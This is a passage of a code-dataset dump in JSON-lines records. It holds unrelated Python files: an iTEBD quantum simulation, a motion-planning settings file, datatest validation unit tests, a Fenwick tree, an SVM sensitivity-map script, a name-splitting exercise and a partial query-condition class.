-np.sum((np.square(l[A]))*np.log(np.square(l[A])))\n entang2[kk] = -np.sum((np.square(l[B]))*np.log(np.square(l[B])))\n #entang[step] = -np.log(np.sum(theta**2))/delta/2\n largest[kk] = np.max(l[A]) \n mini[kk] = np.min(l[A]) \n sums[kk] = np.sum(np.square(l[A])) \n kk = kk + 1\n\n\nif save == 1:\n np.save('iTEBD_results/norm',norm)\n np.save('iTEBD_results/mag',mag)\n np.save('iTEBD_results/corrz',obs)\n np.save('iTEBD_results/corrx',obs2)\n np.save('iTEBD_results/entropy_centre',entang)\n\n#Plot Results\nif plotting == 1:\n tebd = np.load('mag.npy')\n plt.plot(0.01*np.arange(1,np.size(tebd)+1),tebd,'s',label='TEBD mag')\n\n plt.plot(delta*np.arange(1,np.size(mag)+1),norm,'o',label = 'N')\n plt.plot(delta*np.arange(1,np.size(mag)+1),obs,'o',label = 'ZZ')\n plt.plot(delta*np.arange(1,np.size(mag)+1),obs2,'om',label = 'XX')\n plt.plot(delta*np.arange(1,np.size(mag)+1),mag,'o',label = 'M')\n plt.plot(delta*np.arange(1,np.size(mag)+1),entang,'o',label = 'S')\n plt.plot(delta*np.arange(1,np.size(mag)+1),entang2,'o',label = 'S')\n\n #ED\n ed = np.load('/home/samuel/Desktop/recentZ.npy')\n edC = np.load('/home/samuel/Desktop/recentcorr.npy')\n edx = np.load('/home/samuel/Desktop/recentcorrX.npy')\n ed_entropy = np.load('/home/samuel/Desktop/entropy.npy')\n ed_dt = 0.1\n plt.plot(ed_dt*np.arange(0,np.size(ed)),ed,'x',label='ED')\n plt.plot(ed_dt*np.arange(0,np.size(ed)),edC,'x',label = 'EDcorr')\n plt.plot(ed_dt*np.arange(0,np.size(ed)),edx,'x',label = 'EDcorrX')\n plt.plot(ed_dt*np.arange(0,np.size(ed)),ed_entropy,'x',label = 'EDentropy')\n\n #MPO-W1\n mpo_mag = np.genfromtxt('/home/samuel/ITensor-3/sample/mpoW_magz.txt')\n mpo_corr = np.genfromtxt('/home/samuel/ITensor-3/sample/mpoW_corrz_centre.txt')\n mpo_entropy = np.genfromtxt('/home/samuel/ITensor-3/sample/mpoW_entropy.txt')\n mpo_obs = np.genfromtxt('/home/samuel/ITensor-3/sample/mpoW_obs.txt')\n dt_mpo = 0.01\n plt.plot(dt_mpo*np.arange(1,np.size(mpo_mag)+1),mpo_mag,label='MPO-mag')\n plt.plot(dt_mpo*np.arange(1,np.size(mpo_obs)+1),mpo_obs,label='MPO-obs')\n plt.plot(dt_mpo*np.arange(1,np.size(mpo_mag)+1),mpo_corr,label='MPO-corr')\n plt.plot(dt_mpo*np.arange(1,np.size(mpo_mag)+1),mpo_entropy,label='MPO-entropy')\n plt.xlim(0,delta*cycle_times)\n plt.ylim(-1,1)\n plt.legend()\n plt.show()\n\n #Plot Simulation Parameters\n plt.plot(delta*np.arange(1,np.size(mag)+1),chiA_store,label = 'bond_dimension')\n plt.plot(delta*np.arange(1,np.size(mag)+1),sums,label= 'sums')\n plt.plot(delta*np.arange(1,np.size(mag)+1),largest,label= 'largest')\n plt.plot(delta*np.arange(1,np.size(mag)+1),mini,label= 'small')\n plt.show()\n\n","sub_path":"iTEBD2.py","file_name":"iTEBD2.py","file_ext":"py","file_size_in_byte":8486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"546964651","text":"import math\nimport numpy as np\nfrom numpy import mat, ndarray\nfrom convexset import Convex, Square\nfrom world import World\nfrom linsys import LinSys\n\nx_init = mat([[0, 0]]).T\nx_goal = mat([[5, 5]]).T\nX = Square([2.5, 2.5], 5)\nMrot = lambda theta: np.mat([[math.cos(theta), -math.sin(theta)],\\\n [math.sin(theta), math.cos(theta)]])\nobs1 = 1.5*Mrot(0.8)*Convex(mat([[0, 0],[0, 1], [0.5, 1.5], [1, 1], [0.5, 0]]).T)+mat([[1.9],[2]])\nobs2 = 1.1*Mrot(0.3)*Convex(mat([[0, 0], [2, 0], [2, 2], [0, 2]]).T)+mat([[3.5], [0]])\nobs3 = 1.0*Mrot(0.2)*Convex(mat([[0, 0], [0, 2.0], [1, 1.5], [1, 0]]).T)+mat([[2.8],[2.4]])\nobs4 = Convex(mat([[0, 0],[0,1],[1, 1],[1,0]]).T)+mat([[0],[0.8]])\nobs_set = [obs1, obs2, obs3, obs4]\n\nworld = World(X, obs_set)\n\nA = np.mat(\"1, 0; 0, 1\")\nB = np.mat(\"1, 0;0,1\")\nR = np.mat(\"1, 0;0,1\")\nQ = np.diag(np.array([1, 1]))\nlinsys = LinSys(A, B, Q, R, \"discrete\")\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"43024349","text":"\"\"\"Tests for validation and comparison functions.\"\"\"\nimport textwrap\nfrom . import _unittest as unittest\nfrom datatest._compatibility.collections.abc import Iterator\nfrom datatest.difference import BaseDifference\nfrom datatest.difference import Extra\nfrom datatest.difference import Missing\nfrom datatest.difference import Invalid\nfrom datatest.difference import Deviation\nfrom datatest._query.query import Result\nfrom datatest._utils import IterItems\nfrom datatest._required import BaseRequirement\n\nfrom datatest.validation import _normalize_data\nfrom datatest.validation import _normalize_requirement\nfrom datatest.validation import ValidationError\nfrom datatest.validation import validate\nfrom datatest.validation import valid\n\ntry:\n import pandas\nexcept ImportError:\n pandas = None\n\ntry:\n import numpy\nexcept ImportError:\n numpy = None\n\n\nclass TestNormalizeData(unittest.TestCase):\n def test_unchanged(self):\n data = [1, 2, 3]\n self.assertIs(_normalize_data(data), data, 'should return original object')\n\n data = iter([1, 2, 3])\n self.assertIs(_normalize_data(data), data, 'should return original object')\n\n data = Result(iter([1, 2, 3]), evaluation_type=tuple)\n self.assertIs(_normalize_data(data), data, 'should return original object')\n\n @unittest.skipIf(not pandas, 'pandas not found')\n def test_normalize_pandas_dataframe(self):\n df = pandas.DataFrame([(1, 'a'), (2, 'b'), (3, 'c')])\n result = _normalize_data(df)\n self.assertIsInstance(result, IterItems)\n expected = {0: (1, 'a'), 1: (2, 'b'), 2: (3, 'c')}\n self.assertEqual(dict(result), expected)\n\n # Single column.\n df = pandas.DataFrame([('x',), ('y',), ('z',)])\n result = _normalize_data(df)\n self.assertIsInstance(result, IterItems)\n expected = {0: 'x', 1: 'y', 2: 'z'}\n self.assertEqual(dict(result), expected, 'single column should be unwrapped')\n\n # Multi-index.\n df = pandas.DataFrame([('x',), ('y',), ('z',)])\n df.index = pandas.MultiIndex.from_tuples([(0, 0), (0, 1), (1, 0)])\n result = _normalize_data(df)\n self.assertIsInstance(result, IterItems)\n expected = {(0, 0): 'x', (0, 1): 'y', (1, 0): 'z'}\n self.assertEqual(dict(result), expected, 'multi-index should be tuples')\n\n # Indexes must contain unique values, no duplicates\n df = pandas.DataFrame([('x',), ('y',), ('z',)])\n df.index = pandas.Index([0, 0, 1]) # <- Duplicate values.\n with self.assertRaises(ValueError):\n _normalize_data(df)\n\n @unittest.skipIf(not pandas, 'pandas not found')\n def test_normalize_pandas_series(self):\n s = pandas.Series(['x', 'y', 'z'])\n result = _normalize_data(s)\n self.assertIsInstance(result, IterItems)\n expected = {0: 'x', 1: 'y', 2: 'z'}\n self.assertEqual(dict(result), expected)\n\n # Multi-index.\n s = pandas.Series(['x', 'y', 'z'])\n s.index = pandas.MultiIndex.from_tuples([(0, 0), (0, 1), (1, 0)])\n result = _normalize_data(s)\n self.assertIsInstance(result, IterItems)\n expected = {(0, 0): 'x', (0, 1): 'y', (1, 0): 'z'}\n self.assertEqual(dict(result), expected, 'multi-index should be tuples')\n\n @unittest.skipIf(not numpy, 'numpy not found')\n def test_normalize_numpy(self):\n # Two-dimentional array.\n arr = numpy.array([['a', 'x'], ['b', 'y']])\n lazy = _normalize_data(arr)\n self.assertIsInstance(lazy, Result)\n self.assertEqual(lazy.fetch(), [('a', 'x'), ('b', 'y')])\n\n # Two-valued structured array.\n arr = numpy.array([('a', 1), ('b', 2)],\n dtype=[('one', 'U10'), ('two', 'i4')])\n lazy = _normalize_data(arr)\n self.assertIsInstance(lazy, Result)\n self.assertEqual(lazy.fetch(), [('a', 1), ('b', 2)])\n\n # Two-valued recarray (record array).\n arr = numpy.rec.array([('a', 1), ('b', 2)],\n dtype=[('one', 'U10'), ('two', 'i4')])\n lazy = _normalize_data(arr)\n self.assertIsInstance(lazy, Result)\n self.assertEqual(lazy.fetch(), [('a', 1), ('b', 2)])\n\n # One-dimentional array.\n arr = numpy.array(['x', 'y', 'z'])\n lazy = _normalize_data(arr)\n self.assertIsInstance(lazy, Result)\n self.assertEqual(lazy.fetch(), ['x', 'y', 'z'])\n\n # Single-valued structured array.\n arr = numpy.array([('x',), ('y',), ('z',)],\n dtype=[('one', 'U10')])\n lazy = _normalize_data(arr)\n self.assertIsInstance(lazy, Result)\n self.assertEqual(lazy.fetch(), ['x', 'y', 'z'])\n\n # Single-valued recarray (record array).\n arr = numpy.rec.array([('x',), ('y',), ('z',)],\n dtype=[('one', 'U10')])\n lazy = _normalize_data(arr)\n self.assertIsInstance(lazy, Result)\n self.assertEqual(lazy.fetch(), ['x', 'y', 'z'])\n\n # Three-dimentional array--conversion is not supported.\n arr = numpy.array([[[1, 3], ['a', 'x']], [[2, 4], ['b', 'y']]])\n result = _normalize_data(arr)\n self.assertIs(result, arr, msg='unsupported, returns unchanged')\n\n\nclass TestNormalizeRequirement(unittest.TestCase):\n def test_unchanged(self):\n \"\"\"For given instances, should return original object.\"\"\"\n requirement = [1, 2, 3]\n self.assertIs(_normalize_requirement(requirement), requirement)\n\n # Test corner case.\n class MyRequirement(BaseRequirement, IterItems):\n def __init__(self):\n pass\n\n def __iter__(self):\n return iter([])\n\n def check_data():\n return None\n\n requirement = MyRequirement()\n self.assertIs(_normalize_requirement(requirement), requirement)\n\n def test_bad_type(self):\n with self.assertRaises(TypeError, msg='cannot use generic iter'):\n _normalize_requirement(iter([1, 2, 3]))\n\n def test_result_object(self):\n result_obj = Result(iter([1, 2, 3]), evaluation_type=tuple)\n output = _normalize_requirement(result_obj)\n self.assertIsInstance(output, tuple)\n self.assertEqual(output, (1, 2, 3))\n\n def test_iter_items(self):\n items = IterItems(iter([(0, 'x'), (1, 'y'), (2, 'z')]))\n output = _normalize_requirement(items)\n self.assertIsInstance(output, dict)\n self.assertEqual(output, {0: 'x', 1: 'y', 2: 'z'})\n\n\n# FOR TESTING: A minimal subclass of BaseDifference.\n# BaseDifference itself should not be instantiated\n# directly.\nclass MinimalDifference(BaseDifference):\n @property\n def args(self):\n return BaseDifference.args.fget(self)\n\n\nclass TestValidationError(unittest.TestCase):\n def test_single_diff(self):\n single_diff = MinimalDifference('A')\n err = ValidationError(single_diff)\n self.assertEqual(err.differences, [single_diff])\n\n def test_list_of_diffs(self):\n diff_list = [MinimalDifference('A'), MinimalDifference('B')]\n\n err = ValidationError(diff_list)\n self.assertEqual(err.differences, diff_list)\n\n def test_iter_of_diffs(self):\n diff_list = [MinimalDifference('A'), MinimalDifference('B')]\n diff_iter = iter(diff_list)\n\n err = ValidationError(diff_iter)\n self.assertEqual(err.differences, diff_list, 'iterable should be converted to list')\n\n def test_dict_of_diffs(self):\n diff_dict = {'a': MinimalDifference('A'), 'b': MinimalDifference('B')}\n\n err = ValidationError(diff_dict)\n self.assertEqual(err.differences, diff_dict)\n\n def test_dict_of_lists(self):\n diff_dict = {'a': [MinimalDifference('A')], 'b': [MinimalDifference('B')]}\n\n err = ValidationError(diff_dict)\n self.assertEqual(err.differences, diff_dict)\n\n def test_iteritems_of_diffs(self):\n diff_dict = {'a': MinimalDifference('A'), 'b': MinimalDifference('B')}\n diff_items = ((k, v) for k, v in diff_dict.items())\n\n err = ValidationError(diff_items)\n self.assertEqual(err.differences, diff_dict)\n\n def test_dict_of_iters(self):\n dict_of_lists = {'a': [MinimalDifference('A')], 'b': [MinimalDifference('B')]}\n dict_of_iters = dict((k, iter(v)) for k, v in dict_of_lists.items())\n\n err = ValidationError(dict_of_iters)\n self.assertEqual(err.differences, dict_of_lists)\n\n def test_iteritems_of_iters(self):\n dict_of_lists = {'a': [MinimalDifference('A')], 'b': [MinimalDifference('B')]}\n iteritems_of_iters = ((k, iter(v)) for k, v in dict_of_lists.items())\n\n err = ValidationError(iteritems_of_iters)\n self.assertEqual(err.differences, dict_of_lists)\n\n def test_bad_args(self):\n with self.assertRaises(TypeError, msg='must be iterable'):\n bad_arg = object()\n ValidationError(bad_arg, 'invalid data')\n\n def test_str_method(self):\n # Assert basic format and trailing comma.\n err = ValidationError([MinimalDifference('A')], 'invalid data')\n expected = \"\"\"\n invalid data (1 difference): [\n MinimalDifference('A'),\n ]\n \"\"\"\n expected = textwrap.dedent(expected).strip()\n self.assertEqual(str(err), expected)\n\n # Assert without description.\n err = ValidationError([MinimalDifference('A')]) # <- No description!\n expected = \"\"\"\n 1 difference: [\n MinimalDifference('A'),\n ]\n \"\"\"\n expected = textwrap.dedent(expected).strip()\n self.assertEqual(str(err), expected)\n\n # Assert \"no cacheing\"--objects that inhereit from some\n # Exceptions can cache their str--but ValidationError should\n # not do this.\n err._differences = [MinimalDifference('B')]\n err._description = 'changed'\n updated = textwrap.dedent(\"\"\"\n changed (1 difference): [\n MinimalDifference('B'),\n ]\n \"\"\").strip()\n self.assertEqual(str(err), updated)\n\n # Assert dict format and trailing comma.\n err = ValidationError({'x': MinimalDifference('A'),\n 'y': MinimalDifference('B')},\n 'invalid data')\n regex = textwrap.dedent(r\"\"\"\n invalid data \\(2 differences\\): \\{\n '[xy]': MinimalDifference\\('[AB]'\\),\n '[xy]': MinimalDifference\\('[AB]'\\),\n \\}\n \"\"\").strip()\n self.assertRegex(str(err), regex) # <- Using regex because dict order\n # can not be assumed for Python\n # versions 3.5 and earlier.\n\n def test_str_sorting(self):\n \"\"\"Check that string shows differences sorted by arguments.\"\"\"\n self.maxDiff = None\n\n # Check sorting of non-mapping container.\n err = ValidationError([MinimalDifference('Z', 'Z'),\n MinimalDifference('Z'),\n MinimalDifference(1, 'C'),\n MinimalDifference('B', 'C'),\n MinimalDifference('A'),\n MinimalDifference(1.5),\n MinimalDifference(True),\n MinimalDifference(0),\n MinimalDifference(None)])\n expected = \"\"\"\n 9 differences: [\n MinimalDifference(None),\n MinimalDifference(0),\n MinimalDifference(True),\n MinimalDifference(1, 'C'),\n MinimalDifference(1.5),\n MinimalDifference('A'),\n MinimalDifference('B', 'C'),\n MinimalDifference('Z'),\n MinimalDifference('Z', 'Z'),\n ]\n \"\"\"\n expected = textwrap.dedent(expected).strip()\n self.assertEqual(str(err), expected)\n\n # Make sure that all differences are being sorted (not just\n # those being displayed).\n err._should_truncate = lambda lines, chars: lines > 4\n expected = \"\"\"\n 9 differences: [\n MinimalDifference(None),\n MinimalDifference(0),\n MinimalDifference(True),\n MinimalDifference(1, 'C'),\n ...\n \"\"\"\n expected = textwrap.dedent(expected).strip()\n self.assertEqual(str(err), expected)\n\n # Check sorting of non-mapping container.\n err = ValidationError(\n {\n ('C', 3): [MinimalDifference('Z', 3), MinimalDifference(1, 2)],\n ('A', 'C'): MinimalDifference('A'),\n 'A': [MinimalDifference('C'), MinimalDifference(1)],\n 2: [MinimalDifference('B'), MinimalDifference('A')],\n 1: MinimalDifference('A'),\n (None, 4): MinimalDifference('A'),\n },\n 'description string'\n )\n expected = \"\"\"\n description string (6 differences): {\n 1: MinimalDifference('A'),\n 2: [MinimalDifference('A'), MinimalDifference('B')],\n 'A': [MinimalDifference(1), MinimalDifference('C')],\n (None, 4): MinimalDifference('A'),\n ('A', 'C'): MinimalDifference('A'),\n ('C', 3): [MinimalDifference(1, 2), MinimalDifference('Z', 3)],\n }\n \"\"\"\n expected = textwrap.dedent(expected).strip()\n self.assertEqual(str(err), expected)\n\n def test_str_truncation(self):\n # Assert optional truncation behavior.\n err = ValidationError([MinimalDifference('A'),\n MinimalDifference('B'),\n MinimalDifference('C'),],\n 'invalid data')\n self.assertIsNone(err._should_truncate)\n self.assertIsNone(err._truncation_notice)\n no_truncation = \"\"\"\n invalid data (3 differences): [\n MinimalDifference('A'),\n MinimalDifference('B'),\n MinimalDifference('C'),\n ]\n \"\"\"\n no_truncation = textwrap.dedent(no_truncation).strip()\n self.assertEqual(str(err), no_truncation)\n\n # Truncate without notice.\n err._should_truncate = lambda line_count, char_count: char_count > 35\n err._truncation_notice = None\n truncation_witout_notice = \"\"\"\n invalid data (3 differences): [\n MinimalDifference('A'),\n ...\n \"\"\"\n truncation_witout_notice = textwrap.dedent(truncation_witout_notice).strip()\n self.assertEqual(str(err), truncation_witout_notice)\n\n # Truncate and use truncation notice.\n err._should_truncate = lambda line_count, char_count: char_count > 35\n err._truncation_notice = 'Message truncated.'\n truncation_plus_notice = \"\"\"\n invalid data (3 differences): [\n MinimalDifference('A'),\n ...\n\n Message truncated.\n \"\"\"\n truncation_plus_notice = textwrap.dedent(truncation_plus_notice).strip()\n self.assertEqual(str(err), truncation_plus_notice)\n\n def test_repr(self):\n err = ValidationError([MinimalDifference('A')]) # <- No description.\n expected = \"ValidationError([MinimalDifference('A')])\"\n self.assertEqual(repr(err), expected)\n\n err = ValidationError([MinimalDifference('A')], 'description string')\n expected = \"ValidationError([MinimalDifference('A')], 'description string')\"\n self.assertEqual(repr(err), expected)\n\n # Objects that inhereit from some Exceptions can cache their\n # repr--but ValidationError should not do this.\n err._differences = [MinimalDifference('B')]\n err._description = 'changed'\n self.assertNotEqual(repr(err), expected, 'exception should not cache repr')\n\n updated = \"ValidationError([MinimalDifference('B')], 'changed')\"\n self.assertEqual(repr(err), updated)\n\n def test_module_property(self):\n \"\"\"Module property should be 'datatest' so that testing\n frameworks display the error as 'datatest.ValidationError'.\n\n By default, instances would be displayed as\n 'datatest.validation.ValidationError' but this awkwardly\n long and the submodule name--'validation'--is not needed\n because the class is imported into datatest's root namespace.\n \"\"\"\n import datatest\n msg = \"should be in datatest's root namespace\"\n self.assertIs(ValidationError, datatest.ValidationError)\n\n msg = \"should be set to 'datatest' to shorten display name\"\n self.assertEqual('datatest', ValidationError.__module__)\n\n def test_args(self):\n err = ValidationError([MinimalDifference('A')], 'invalid data')\n self.assertEqual(err.args, ([MinimalDifference('A')], 'invalid data'))\n\n err = ValidationError([MinimalDifference('A')])\n self.assertEqual(err.args, ([MinimalDifference('A')], None))\n\n\nclass TestValidationIntegration(unittest.TestCase):\n def test_valid(self):\n a = set([1, 2, 3])\n b = set([2, 3, 4])\n\n self.assertTrue(valid(a, a))\n\n self.assertFalse(valid(a, b))\n\n def test_validate(self):\n a = set([1, 2, 3])\n b = set([2, 3, 4])\n\n self.assertIsNone(validate(a, a))\n\n with self.assertRaises(ValidationError):\n validate(a, b)\n\n\nclass TestValidate(unittest.TestCase):\n \"\"\"An integration test to check behavior of validate() function.\"\"\"\n def test_required_vs_data_passing(self):\n \"\"\"Single requirement to BaseElement or non-mapping\n container of data.\n \"\"\"\n data = ('abc', 1) # A single base element.\n requirement = ('abc', int)\n self.assertIsNone(validate(data, requirement))\n\n data = [('abc', 1), ('abc', 2)] # Non-mapping container of base elements.\n requirement = ('abc', int)\n self.assertIsNone(validate(data, requirement))\n\n def test_required_vs_data_failing(self):\n \"\"\"Apply single requirement to BaseElement or non-mapping\n container of data.\n \"\"\"\n with self.assertRaises(ValidationError) as cm:\n data = ('abc', 1.0) # A single base element.\n requirement = ('abc', int)\n validate(data, requirement)\n differences = cm.exception.differences\n self.assertEqual(differences, [Invalid(('abc', 1.0))])\n\n with self.assertRaises(ValidationError) as cm:\n data = [('abc', 1.0), ('xyz', 2)] # Non-mapping container of base elements.\n requirement = ('abc', int)\n validate(data, requirement)\n differences = cm.exception.differences\n self.assertEqual(differences, [Invalid(('abc', 1.0)), Invalid(('xyz', 2))])\n\n def test_required_vs_mapping_passing(self):\n data = {'a': ('abc', 1), 'b': ('abc', 2)} # Mapping of base-elements.\n requirement = ('abc', int)\n self.assertIsNone(validate(data, requirement))\n\n data = {'a': [1, 2], 'b': [3, 4]} # Mapping of containers.\n requirement = int\n self.assertIsNone(validate(data, requirement))\n\n def test_required_vs_mapping_failing(self):\n with self.assertRaises(ValidationError) as cm:\n data = {'a': ('abc', 1.0), 'b': ('xyz', 2)} # Mapping of base-elements.\n requirement = ('abc', int)\n validate(data, requirement)\n differences = cm.exception.differences\n self.assertEqual(differences, {'a': Invalid(('abc', 1.0)), 'b': Invalid(('xyz', 2))})\n\n with self.assertRaises(ValidationError) as cm:\n data = {'a': [1, 2.0], 'b': [3.0, 4]} # Mapping of containers.\n validate(data, int)\n differences = cm.exception.differences\n self.assertEqual(differences, {'a': [Invalid(2.0)], 'b': [Invalid(3.0)]})\n\n def test_mapping_vs_mapping_passing(self):\n data = {'a': ('abc', 1), 'b': ('abc', 2.0)} # Mapping of base-elements.\n requirement = {'a': ('abc', int), 'b': ('abc', float)} # Mapping of requirements.\n self.assertIsNone(validate(data, requirement))\n\n data = {'a': [('abc', 1), ('abc', 2)],\n 'b': [('abc', 1.0), ('abc', 2.0)]} # Mapping of containers.\n requirement = {'a': ('abc', int), 'b': ('abc', float)} # Mapping of requirements.\n self.assertIsNone(validate(data, requirement))\n\n def test_mapping_vs_mapping_failing(self):\n with self.assertRaises(ValidationError) as cm:\n data = {'a': ('abc', 1.0), 'b': ('xyz', 2.0)} # Mapping of base-elements.\n requirement = {'a': ('abc', int), 'b': ('abc', float)} # Mapping of requirements.\n validate(data, requirement)\n actual = cm.exception.differences\n expected = {\n 'a': Invalid(('abc', 1.0), ('abc', int)),\n 'b': Invalid(('xyz', 2.0), ('abc', float)),\n }\n self.assertEqual(actual, expected)\n\n with self.assertRaises(ValidationError) as cm:\n data = {'a': [('abc', 1.0), ('abc', 2)],\n 'b': [('abc', 1.0), ('xyz', 2.0)]} # Mapping of containers.\n requirement = {'a': ('abc', int), 'b': ('abc', float)} # Mapping of requirements.\n validate(data, requirement)\n actual = cm.exception.differences\n expected = {\n 'a': [Invalid(('abc', 1.0))],\n 'b': [Invalid(('xyz', 2.0))],\n }\n self.assertEqual(actual, expected)\n","sub_path":"tests/test_validation.py","file_name":"test_validation.py","file_ext":"py","file_size_in_byte":21631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"139665882","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"=================================================\n@Project : algorithm/data_structure\n@File : binary-indexed-tree.py\n@Author : YuweiYin\n==================================================\"\"\"\n\nimport sys\nimport time\n\n\"\"\"\n树状数组 Fenwick Tree (Binary Indexed Tree, BIT)\n\n参考资料:\nhttps://www.youtube.com/watch?v=v_wj_mOAlig\nhttps://github.com/jakobkogler/Algorithm-DataStructures/blob/master/RangeQuery/BinaryIndexedTree.py\n\"\"\"\n\n\nclass BinaryIndexedTree:\n # 使用 Add 操作构造线状数组,时间复杂度 O(n log n)\n def __init__(self, array):\n self.bit_len = len(array) + 1\n\n # 首位为 0 仅作占位,不影响求和值,让实际值从下标 1 开始\n self.bit = self.bit_len * [0]\n\n for i in range(len(array)):\n self.add(i, array[i])\n\n # 把 array 中下标为 index 的元素值 增长 value,并维护 BIT,时间复杂度 O(log n)\n # 对应 BIT 数组,直接影响的是 self.bit 中下标为 index + 1 的元素\n def add(self, index, value):\n if 0 <= index < self.bit_len:\n index += 1 # BIT 首位为 0 仅作占位,需绕过\n while index < self.bit_len:\n self.bit[index] += value\n index += index & (-index)\n\n # 求前 num 个元素值的和,时间复杂度 O(log n)\n def sum(self, num):\n # 边界情况\n if num <= 0:\n return 0\n if num >= self.bit_len:\n num = self.bit_len - 1\n\n res = 0\n while num: # num 到 0 则终止循环\n res += self.bit[num]\n num -= num & (-num)\n return res\n\n # 求闭区间 [from, to] 中元素值的和,时间复杂度 O(log n)\n # 序号从 1 开始\n def range_sum(self, from_index, to_index):\n # 边界情况\n if from_index > to_index:\n return 0\n if from_index <= 0:\n from_index = 1\n if to_index >= self.bit_len:\n to_index = self.bit_len - 1\n\n # 返回前 to 项和与前 from - 1 项和之差,即为闭区间 [from, to] 之总和\n return self.sum(to_index) - self.sum(from_index - 1)\n\n def print_bit(self):\n print(self.bit)\n\n\ndef main():\n array = [1, 7, 3, 0, 5, 8, 3, 2, 6, 2, 1, 1, 4, 5]\n print(array)\n\n bit = BinaryIndexedTree(array)\n bit.print_bit() # [0, 1, 8, 3, 11, 5, 13, 3, 29, 6, 8, 1, 10, 4, 9]\n\n start = time.process_time()\n ans = bit.sum(100)\n end = time.process_time()\n print('bit.sum(13):', ans) # 48\n\n bit.add(0, 20)\n bit.print_bit() # [0, 21, 28, 3, 31, 5, 13, 3, 49, 6, 8, 1, 10, 4, 9]\n\n print('bit.sum(13):', bit.sum(13)) # 63\n print('bit.range_sum(0, 13):', bit.range_sum(0, 13)) # 63\n print('bit.range_sum(1, 13):', bit.range_sum(1, 13)) # 63\n print('bit.range_sum(2, 13):', bit.range_sum(2, 13)) # 42\n print('bit.range_sum(3, 13):', bit.range_sum(3, 13)) # 35\n print('bit.range_sum(-1, 18):', bit.range_sum(-1, 18)) # 68\n\n print('Running Time: %.5f ms' % ((end - start) * 1000))\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"Algorithm-Essence/data-structure/binary-indexed-tree.py","file_name":"binary-indexed-tree.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"538266266","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 1 20:31:15 2018\n\n@author: Greta\n\"\"\"\n\nimport numpy as np\nfrom sklearn.svm import SVC\nimport scipy.io as sio\nimport pickle \nimport pandas as pd\nimport datetime\nimport os\nfrom functionsPair import * \n\nno_runs = 5\n\n# Load data\n#os.chdir('C:/Users/Greta/Documents/GitHub/decoding/data/ASR/')\n\nos.chdir('/home/grtu/decoding/')\n\nASR = sio.loadmat('ASRinterp')\nX = ASR['EV_Z']\n\ny = ASR['Animate']\ny = np.squeeze(y)\ny = y.astype(np.int16)\nnp.putmask(y, y<=0, -1)\ny = y.astype(np.int16)\n\ncnt = 1\ndf = pd.DataFrame(columns=['Split 1 subjects', 'Split 2 subjects'])\n\nsmaps = []\nfor ii in range(no_runs):\n ''' Run multiple SVM pair sessions and output the difference between sensitivity maps'''\n sq_smap, split1, split2 = runPairSVM(X, y, C_val=1.5, gamma_val=0.00005)\n \n df.loc[cnt]=[split1, split2]\n cnt += 1\n \n smaps.append(sq_smap)\n \n###### MEAN OVER SENSITIVITY MAPS #######\nmean_smaps = np.mean(smaps,axis=0)\nstd_smaps = np.sqrt(mean_smaps) # This is the std \n\n# Divide the std_smaps with the original sensitivity map for all 15 subjs\nmean_15 = np.load('s_map_mean.npy')\n\neffect_smap = np.divide(mean_15,std_smaps)\n\n###### SAVE AND LOG ######\nos.chdir('/home/grtu/decoding/SVM_pairs/')\n\nnp.save('mean_smap' + str(no_runs) + '.npy',mean_smaps)\nnp.save('std_smap' + str(no_runs) + '.npy',std_smaps)\nnp.save('effect_smap' + str(no_runs) + '.npy',effect_smap)\n# Log which subjects were used in the splits \ndf.to_excel('smap_split' + str(no_runs) + '.xlsx')\n\n","sub_path":"sensitivity_mapping/main_runPair.py","file_name":"main_runPair.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"273169134","text":"name = input( \" Enter a name in this form (Carver, George Washington): \")\r\n\r\nname = name.lower() # in case user does not capitalize correctly\r\n\r\nname = name.title() # to capitalize the first letter in each word\r\n\r\nlast, first, middle = name.split() # Split name into 3 parts\r\n\r\nif ( last[-1] == \",\" ): # verify if the comma has been added or not\r\n\r\n last = last[:-1] # removes the comma, if necessary\r\n\r\nprint ( \"{} {} {}\".format ( first, middle, last )) # print results\r\n","sub_path":"Python_Old/201_Using Python 3/201_quiz_02_name_split.py","file_name":"201_quiz_02_name_split.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"318475277","text":"from metis.core.query import Node\nfrom metis.core.query.value import Value\nfrom metis.utils.enum import Enum\n\n\nclass Condition(Node):\n class Op(Enum):\n LT = 'lt'\n LTE = 'lte'\n GT = 'gt'\n GTE = 'gte'\n EQ = 'eq'\n CONTAINS = 'contains'\n IN = 'in'\n REGEX = 'regex'\n\n class Type(Enum):\n AND = 'and'\n OR = 'or'\n\n def __init__(self, op, left, right, negate=False):\n self.op = op\n self.left = left\n self.right = right\n self.negate = negate\n\n @classmethod\n def parse(cls, _dict):\n if 'type' in _dict:\n assert _dict['type'] in (Condition.Type.AND, Condition.Type.OR)\n if _dict['type'] == Condition.Type.AND:\n return AndCondition([Condition.parse(c) for c in _dict['conditions']])\n return OrCondition([Condition.parse(c) for c in _dict['conditions']])\n\n assert _dict.get('op') in Condition.Op.values()\n return Condition(_dict['op'],\n Value.parse(_dict['left']),\n Value.parse(_dict['right']))\n\n def _combine_with(self, other, cls):\n assert isinstance(other, Condition)\n conditions = []\n if isinstance(self, cls):\n conditions.extend(self.conditions)\n if isinstance(other, cls):\n conditions.extend(other.conditions)\n else:\n conditions.append(other)\n elif isinstance(other, cls):\n conditions.extend(other.conditions)\n conditions.append(self)\n else:\n conditions = [self, other]\n return cls(conditions)\n\n def __and__(self, other):\n return self._combine_with(other, AndCondition)\n\n def __or__(self, other):\n return self._combine_with(other, OrCondition)\n\n def invert(self):\n self.negate = not self.negate\n\n\nclass AndCondition(Condition):\n def __init__(self, conditions, negate=False):\n self.type = 'and'\n self.conditions = conditions\n self.negate = negate\n\n\nclass 